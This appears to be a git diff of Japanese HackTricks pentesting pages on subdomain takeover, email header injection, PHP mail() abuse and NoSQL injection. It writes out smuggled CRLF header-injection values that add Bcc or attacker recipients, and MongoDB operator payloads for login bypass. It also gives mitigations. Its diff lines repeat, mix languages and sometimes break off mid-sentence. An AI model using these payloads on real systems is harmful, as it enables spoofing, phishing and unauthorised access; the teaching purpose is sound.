上記で説明した動作は、クッキーに限定されるものではありません。Javascriptスクリプトは、それが実行される正規のウェブサイト上で完全な制御を持っているため、正規のウェブサイト上のスクリプトを置き換える能力を持つことは、壊滅的な結果をもたらす可能性があります。ウェブサイトが_script_タグと_src_属性を使用して外部プロバイダーからのJavascriptコードを使用している場合を想定してみましょう。外部プロバイダーのドメインが期限切れになると、ブラウザは黙って失敗します。つまり、通常のユーザーには表示されないアラートはトリガーされません。外部コードが重要な処理を行っていない場合(例:トラッキングにのみ使用される場合)、このような外部プロバイダーは長期間ウェブサイトに残る可能性があります。攻撃者は、この期限切れのドメインを乗っ取り、提供されたJavascriptコードのURLパスを一致させることで、元のウェブサイトを訪れるすべての訪問者を制御することができます。
|
||||
上記で説明した動作は、クッキーに限定されるものではありません。Javascriptスクリプトは、それが実行されるウェブサイト上で完全な制御を持っているため、正規のウェブサイト上でそのようなスクリプトを置き換える能力は、壊滅的な結果をもたらす可能性があります。ウェブサイトが_script_タグと_src_属性を使用して外部プロバイダーからのJavascriptコードを使用していると仮定しましょう。外部プロバイダーのドメインが期限切れになると、ブラウザは黙って失敗します。つまり、通常のユーザーには表示されないアラートはトリガーされません。外部コードが重要な処理を行っていない場合(トラッキングなどに使用される場合など)、その外部プロバイダーは長期間ウェブサイトに残る可能性があります。攻撃者は、この期限切れのドメインを乗っ取り、提供されたJavascriptコードのURLパスを一致させることで、元のウェブサイトを訪れるすべての訪問者を制御することができます。
|
||||
|
||||
ただし、ブラウザでJavascriptファイルの整合性を保護する方法があります。_Subresource Integrity_は、HTML5の_script_タグの属性_integrity_に暗号ハッシュを含めるメカニズムとして提案されました。提供された暗号ハッシュがダウンロードファイルと一致しない場合、ブラウザは実行を拒否します。
|
||||
ただし、ブラウザでJavascriptファイルの整合性を保護する方法があります。_サブリソース整合性_は、HTML5の_script_タグの属性_integrity_に暗号ハッシュを含めるメカニズムとして提案されました。提供された暗号ハッシュがダウンロードファイルと一致しない場合、ブラウザは実行を拒否します。
|
||||
|
||||
### メール <a href="#emails" id="emails"></a>
|
||||
|
||||
CNAMEサブドメインの乗っ取りが可能な場合、MXレコードも任意のウェブサーバーに設定することができます。これにより、特定のブランドの正規のサブドメインにメールを受信することができます。これは、(スピア)フィッシング攻撃において、攻撃者と被害者の間でのやり取りが必要な場合に特に有用です。攻撃者は通常、返信を受けるために_Return-Path_ヘッダーを偽装します。正しいMXレコードがある場合、この問題は回避されます。
|
||||
CNAMEサブドメインの乗っ取りが可能な場合、MXレコードも任意のウェブサーバーに設定することができます。これにより、特定のブランドの正規のサブドメインにメールを受信することができます。これは、(スピア)フィッシング攻撃で攻撃者と被害者の間でのやり取りが必要な場合に特に有用です。攻撃者は通常、返信を受けるために_Return-Path_ヘッダーを偽装します。正しいMXレコードがある場合、この問題は回避されます。
|
||||
|
||||
一方、メールの送信も可能です。`From`ヘッダーに任意のメールアドレスを含めることは簡単ですが、SPFフィルタは通常、`Return-Path`ヘッダーとドメインの許可されたメール送信ホストをチェックします。SPFはDNSのTXTレコードに設定を保存します。サブドメインの乗っ取りにより、TXTレコードも攻撃者の制御下にあり、SPFチェックを容易にパスすることができます。
|
||||
一方、メールの送信も可能です。`From`ヘッダーに任意のメールアドレスを含めることは簡単ですが、SPFフィルタは通常、`Return-Path`ヘッダーとドメインの許可されたメール送信ホストをチェックします。SPFはDNSのTXTレコードに設定を保存します。サブドメインの乗っ取りでは、TXTレコードも攻撃者の制御下にあり、SPFチェックを簡単にパスすることができます。
|
||||
|
||||
_最初に指摘したように、これらの戦術は、ほとんどのクラウドプロバイダでは機能しない場合があります。なぜなら、DNSゾーンを直接制御することができないからです。_
|
||||
|
||||
### 高次のリスク <a href="#higherorderrisks" id="higherorderrisks"></a>
|
||||
|
||||
サブドメインの乗っ取りの概念は、NSレコードに自然に拡張することができます。少なくとも1つのNSレコードのベースドメインが登録可能な場合、ソースドメイン名はサブドメインの乗っ取りの脆弱性があります。
|
||||
サブドメインの乗っ取りの概念は、NSレコードに自然に拡張することができます。少なくとも1つのNSレコードの基本ドメインが登録可能な場合、ソースドメイン名はサブドメインの乗っ取りの脆弱性があります。
|
||||
|
||||
NSレコードを使用したサブドメインの乗っ取りの問題の1つは、ソースドメイン名が通常複数のNSレコードを持っていることです。複数のNSレコードは冗長性と負荷分散のために使用されます。DNS解決前に、名前サーバーはランダムに選択されます。ドメイン_sub.example.com_に2つのNSレコードがあるとします:_ns.vulnerable.com_と_ns.nonvulnerable.com_。
|
||||
NSレコードを使用したサブドメインの乗っ取りの問題の1つは、ソースドメイン名が通常複数のNSレコードを持っていることです。複数のNSレコードは冗長性と負荷分散のために使用されます。DNS解決前に、名前サーバーはランダムに選択されます。ドメイン_sub.example.com_が2つのNSレコードを持っているとします:_ns.vulnerable.com_と_ns.nonvulnerable.com_。攻撃者が_ns
|
||||
### 緩和策 <a href="#mitigation" id="mitigation"></a>
|
||||
|
||||
既にサブドメインの乗っ取りの脆弱性があるドメイン名に対する緩和策は非常にシンプルです。
|
||||
|
@ -155,13 +155,13 @@ NSレコードを使用したサブドメインの乗っ取りの問題の1つ
|
|||
|
||||
[GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/)などのプロバイダーは、サブドメインの乗っ取りが問題であることを認識し、ドメインの検証メカニズムを実装しました。
|
||||
|
||||
_この記事の一部は、私の_ [_修士論文_](https://is.muni.cz/th/byrdn/Thesis.pdf) _からの抜粋です。_
|
||||
_この投稿の一部は、私の_ [_修士論文_](https://is.muni.cz/th/byrdn/Thesis.pdf) _からの抜粋です。_
|
||||
|
||||
次回まで!
|
||||
|
||||
[Patrik](https://twitter.com/0xpatrik)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -173,10 +173,10 @@ _この記事の一部は、私の_ [_修士論文_](https://is.muni.cz/th/byrdn
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**を**フォロー**してください**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# メールインジェクション
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,17 +12,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## 送信済みメールにインジェクト
|
||||
## 送信済みメールに挿入する
|
||||
|
||||
### 送信者引数の後にCcとBccをインジェクトする
|
||||
### 送信者引数の後にCcとBccを挿入する
|
||||
```
|
||||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||||
```
|
||||
|
@ -30,7 +30,7 @@ From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
|||
|
||||
The message will be sent to the recipient and recipient1 accounts.
|
||||
|
||||
メッセージは、受信者と受信者1のアカウントに送信されます。
|
||||
### 引数の注入
|
||||
```
|
||||
From:sender@domain.com%0ATo:attacker@domain.com
|
||||
```
|
||||
|
@ -40,77 +40,31 @@ From:sender@domain.com%0ATo:attacker@domain.com
|
|||
```
|
||||
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||||
```
|
||||
偽の件名は元の件名に追加され、場合によっては置き換えられます。これはメールサービスの動作に依存します。
|
||||
偽の件名は元の件名に追加され、場合によってはそれに置き換えられます。これはメールサービスの動作に依存します。
|
||||
|
||||
### メッセージの本文を変更する
|
||||
|
||||
2行の改行を挿入し、メッセージの本文を変更するためにメッセージを書き込んでください。
|
||||
2行の改行を挿入し、その後にメッセージの本文を書いて、メッセージの本文を変更します。
|
||||
```
|
||||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||||
```
|
||||
### PHP mail() 関数の悪用
|
||||
|
||||
The `mail()` function in PHP is commonly used to send emails from a web application. However, if not properly secured, it can be vulnerable to email injection attacks. Email injection occurs when an attacker is able to manipulate the email headers and inject malicious content into the email.
|
||||
The PHP `mail()` function is commonly used to send emails from a web application. However, if not properly secured, it can be vulnerable to email injection attacks. Email injection occurs when an attacker is able to manipulate the email headers and inject malicious content into the email.
|
||||
|
||||
PHP mail() 関数は、ウェブアプリケーションから電子メールを送信するために一般的に使用されます。しかし、適切に保護されていない場合、メールインジェクション攻撃の脆弱性にさらされる可能性があります。メールインジェクションは、攻撃者が電子メールのヘッダーを操作し、悪意のあるコンテンツを電子メールに注入することができる場合に発生します。
|
||||
PHP mail() 関数は、ウェブアプリケーションから電子メールを送信するためによく使用されます。しかし、適切に保護されていない場合、電子メールインジェクション攻撃の脆弱性にさらされる可能性があります。電子メールインジェクションは、攻撃者が電子メールヘッダーを操作し、悪意のあるコンテンツを電子メールに注入することができる場合に発生します。
|
||||
|
||||
#### Exploiting Email Injection
|
||||
An email injection attack can have serious consequences. It can be used to send spam emails, perform phishing attacks, or even execute arbitrary code on the server. To prevent email injection, it is important to properly sanitize and validate user input before using it in the `mail()` function.
|
||||
|
||||
To exploit email injection, an attacker can manipulate the email headers by injecting special characters such as newline characters (\n) or carriage return characters (\r). This allows the attacker to add additional headers or modify existing ones.
|
||||
電子メールインジェクション攻撃は重大な影響をもたらす可能性があります。スパムメールの送信、フィッシング攻撃の実行、またはサーバー上で任意のコードを実行するために使用される可能性があります。電子メールインジェクションを防ぐためには、`mail()` 関数で使用する前に、ユーザーの入力を適切にサニタイズ(無害化)および検証することが重要です。
|
||||
|
||||
メールインジェクションを悪用するために、攻撃者は改行文字(\n)や復帰文字(\r)などの特殊文字を注入することで、電子メールのヘッダーを操作することができます。これにより、攻撃者は追加のヘッダーを追加したり、既存のヘッダーを変更したりすることができます。
|
||||
To sanitize user input, you can use functions like `htmlspecialchars()` or `filter_var()` to remove any special characters that could be used for injection. Additionally, you should validate the email address format using regular expressions or built-in PHP functions like `filter_var()` with the `FILTER_VALIDATE_EMAIL` flag.
|
||||
|
||||
For example, consider the following vulnerable code:
|
||||
ユーザーの入力をサニタイズするためには、`htmlspecialchars()` や `filter_var()` のような関数を使用して、インジェクションに使用される可能性のある特殊文字を削除することができます。さらに、正規表現や `FILTER_VALIDATE_EMAIL` フラグを使用した組み込みの PHP 関数である `filter_var()` を使用して、電子メールアドレスの形式を検証する必要があります。
|
||||
|
||||
例えば、以下の脆弱なコードを考えてみましょう:
|
||||
By properly sanitizing and validating user input, you can mitigate the risk of email injection attacks and ensure the security of your web application.
|
||||
|
||||
```php
|
||||
<?php
|
||||
$to = $_POST['to'];
|
||||
$subject = $_POST['subject'];
|
||||
$message = $_POST['message'];
|
||||
$headers = "From: " . $_POST['from'] . "\r\n";
|
||||
mail($to, $subject, $message, $headers);
|
||||
?>
|
||||
```
|
||||
|
||||
In this code, the values for the `to`, `subject`, `message`, and `from` parameters are taken from user input without proper validation or sanitization. This allows an attacker to inject additional headers by manipulating the `from` parameter.
|
||||
|
||||
このコードでは、`to`、`subject`、`message`、`from` パラメータの値が適切な検証やサニタイズなしにユーザーの入力から取得されます。これにより、攻撃者は `from` パラメータを操作して追加のヘッダーを注入することができます。
|
||||
|
||||
To exploit this vulnerability, an attacker can craft a malicious `from` parameter value that includes additional headers:
|
||||
|
||||
この脆弱性を悪用するために、攻撃者は追加のヘッダーを含む悪意のある `from` パラメータの値を作成することができます:
|
||||
|
||||
```
|
||||
from: attacker@example.com\r\nBcc: victim@example.com
|
||||
```
|
||||
|
||||
When the vulnerable code is executed, the email will be sent with the injected headers. This can lead to various attacks, such as email spoofing, information disclosure, or even remote code execution.
|
||||
|
||||
脆弱なコードが実行されると、注入されたヘッダーを含む電子メールが送信されます。これにより、電子メールのスプーフィング、情報の漏洩、さらにはリモートコードの実行など、さまざまな攻撃が発生する可能性があります。
|
||||
|
||||
#### Prevention
|
||||
|
||||
To prevent email injection attacks, it is important to properly validate and sanitize user input before using it in email headers. Here are some best practices to follow:
|
||||
|
||||
メールインジェクション攻撃を防ぐためには、電子メールのヘッダーで使用する前に、ユーザーの入力を適切に検証およびサニタイズすることが重要です。以下は、従うべきベストプラクティスのいくつかです:
|
||||
|
||||
- Validate and sanitize user input: Ensure that user input is properly validated and sanitized to prevent the injection of special characters.
|
||||
|
||||
- ユーザーの入力を検証およびサニタイズする:特殊文字の注入を防ぐために、ユーザーの入力が適切に検証およびサニタイズされていることを確認します。
|
||||
|
||||
- Use a secure email library: Instead of using the `mail()` function, consider using a secure email library that handles email headers properly and provides protection against email injection attacks.
|
||||
|
||||
- 安全な電子メールライブラリを使用する:`mail()` 関数の代わりに、電子メールのヘッダーを適切に処理し、電子メールインジェクション攻撃に対する保護を提供する安全な電子メールライブラリを使用することを検討してください。
|
||||
|
||||
- Implement input validation and filtering: Implement input validation and filtering mechanisms to ensure that user input adheres to expected formats and does not contain any malicious content.
|
||||
|
||||
- 入力の検証とフィルタリングの実装:入力の検証とフィルタリングメカニズムを実装して、ユーザーの入力が予想される形式に従っており、悪意のあるコンテンツを含んでいないことを確認します。
|
||||
|
||||
By following these practices, you can mitigate the risk of email injection attacks and ensure the security of your web application.
|
||||
|
||||
これらのプラクティスに従うことで、電子メールインジェクション攻撃のリスクを軽減し、ウェブアプリケーションのセキュリティを確保することができます。
|
||||
ユーザーの入力を適切にサニタイズおよび検証することで、電子メールインジェクション攻撃のリスクを軽減し、ウェブアプリケーションのセキュリティを確保することができます。
|
||||
```bash
|
||||
# The function has the following definition:
|
||||
|
||||
|
@ -132,11 +86,11 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
|
||||
このパラメーターは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、関数`escapeshellcmd($additional_parameters)`でサニタイズされます。
|
||||
|
||||
攻撃者は、この場合に**sendmailのための抽出パラメーターをインジェクト**することができます。
|
||||
攻撃者は、この場合に**sendmailのための追加パラメーターを注入**することができます。
|
||||
|
||||
#### /usr/sbin/sendmailの実装の違い
|
||||
|
||||
**sendmail**インターフェースは、システムにインストールされているMTAメールソフトウェア(Sendmail、Postfix、Eximなど)によって提供されます。基本的な機能(-t -i -fパラメーターなど)は、互換性のために**同じ**ですが、**他の機能やパラメーター**は、インストールされているMTAによって大きく異なります。
|
||||
**sendmail**インターフェースは、システムにインストールされているMTAメールソフトウェア(Sendmail、Postfix、Eximなど)によって提供されます。基本的な機能(-t -i -fパラメーターなど)は、互換性のために**同じ**ですが、インストールされているMTAによっては、**その他の機能やパラメーター**は大きく異なります。
|
||||
|
||||
以下は、sendmailコマンド/インターフェースの異なるマニュアルのいくつかの例です:
|
||||
|
||||
|
@ -144,7 +98,7 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
- Postfix MTA: http://www.postfix.org/mailq.1.html
|
||||
- Exim MTA: https://linux.die.net/man/8/eximReferences
|
||||
|
||||
**sendmailの起源によって**、それらを悪用して**ファイルを漏洩させたり、任意のコマンドを実行したりする**ためのさまざまなオプションが発見されています。[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)で詳細を確認してください。
|
||||
**sendmailの起源によって**、それらを悪用して**ファイルを漏洩させたり、任意のコマンドを実行したりする**ためのさまざまなオプションが発見されています。詳細は、[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)を参照してください。
|
||||
|
||||
## メール名へのインジェクション
|
||||
|
||||
|
@ -154,7 +108,7 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
|
||||
- 例:john.doe+intigriti@example.com → john.doe@example.com
|
||||
|
||||
**丸括弧()で囲まれたコメント**は、先頭または末尾にある場合も無視されます。
|
||||
**丸括弧()で囲まれたコメント**は、先頭または末尾にあっても無視されます。
|
||||
|
||||
- 例:john.doe(intigriti)@example.com → john.doe@example.com
|
||||
|
||||
|
@ -185,20 +139,20 @@ IPアドレスもドメイン名として角括弧で囲んで使用すること
|
|||
|
||||
### アカウント乗っ取り
|
||||
|
||||
**salesforce**のような**SSOサービス**が、与えられたメールアドレスを確認せずにアカウントを作成することを許可してくれる場合、そのアカウントを**salesforceを信頼している別のサービス**に使用することができます。これにより、任意のアカウントにアクセスできます。\
|
||||
**salesforce**のような**SSOサービス**が、与えられたメールアドレスを確認せずにアカウントを作成することを許可してくれる場合、そのアカウントを**信頼している別のサービス**にログインすることができます。これにより、任意のアカウントにアクセスできます。\
|
||||
なお、salesforceは与えられたメールが確認されたかどうかを示していますが、アプリケーションはこの情報を考慮する必要があります。
|
||||
|
||||
## Reply-To
|
||||
|
||||
_**From: company.com**_と_**Replay-To: attacker.com**_を使用してメールを送信し、メールが**内部アドレス**から送信されたために**自動返信**が送信される場合、**攻撃者**はその**応答**を**受け取る**ことができるかもしれません。
|
||||
From: company.comとReplay-To: attacker.comを使用してメールを送信し、メールが内部アドレスから送信されたために自動応答が送信される場合、**攻撃者**はその**応答**を**受け取る**ことができるかもしれません。
|
||||
|
||||
## ハードバウンス率
|
||||
|
||||
AWSなどの一部のアプリケーションには、**ハードバウンス率**(AWSでは10%)があり、メールサービスが過負荷になるとブロックされます。
|
||||
AWSなどの一部のアプリケーションでは、**ハードバウンス率**(AWSでは10%)があり、メールサービスが過負荷になるとブロックされます。
|
||||
|
||||
**ハードバウンス**とは、永久的な理由で配信できなかった**メール**のことです。メールアドレスが偽のアドレスであるか、メールドメインが実在しないドメインであるか、またはメール受信者のサーバーが**メールを受け入れない**場合などが考えられます。つまり、1000通のメールのうち100通が偽であるか無効であり、それによってすべてのメールがバウンスした場合、**AWS SES**はサービスをブロックします。
|
||||
**ハードバウンス**とは、永久的な理由で配信できなかったメールのことです。メールアドレスが偽のアドレスであるか、メールドメインが実在しないドメインであるか、またはメール受信者のサーバーがメールを受け入れない場合などが考えられます。つまり、1000通のメールのうち100通が偽または無効で、それによってすべてのメールがバウンスした場合、**AWS SES**はサービスをブロックします。
|
||||
|
||||
したがって、Webアプリケーションから任意のメールアドレスにメール(おそらく招待状)を送信できる場合、存在しないユーザーやドメインに何百もの招待状を送信することで、このブロックを引き起こすことができます:メールサービスのDoS攻撃。
|
||||
したがって、Webアプリケーションから任意のメールアドレスにメール(おそらく招待状)を送信できる場合、存在しないユーザーやドメインに何百もの招待状を送信することでこのブロックを引き起こすことができます:メールサービスのDoS攻撃。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -212,9 +166,9 @@ AWSなどの一部のアプリケーションには、**ハードバウンス率
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグ
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# NoSQLインジェクション
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
|
@ -12,11 +12,11 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に送信してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,7 +26,7 @@ NoSQLデータベースは、従来のSQLデータベースよりも緩い整合
|
|||
|
||||
PHPでは、送信されるパラメータを_parameter=foo_から_parameter\[arrName]=foo_に変更することで、配列を送信することができます。
|
||||
|
||||
攻撃手法は、**オペレータ**を追加することに基づいています:
|
||||
攻撃手法は、**オペレータ**を追加することに基づいています。
|
||||
```bash
|
||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||||
|
@ -53,86 +53,77 @@ username[$exists]=true&password[$exists]=true
|
|||
```
|
||||
### **SQL - Mongo**
|
||||
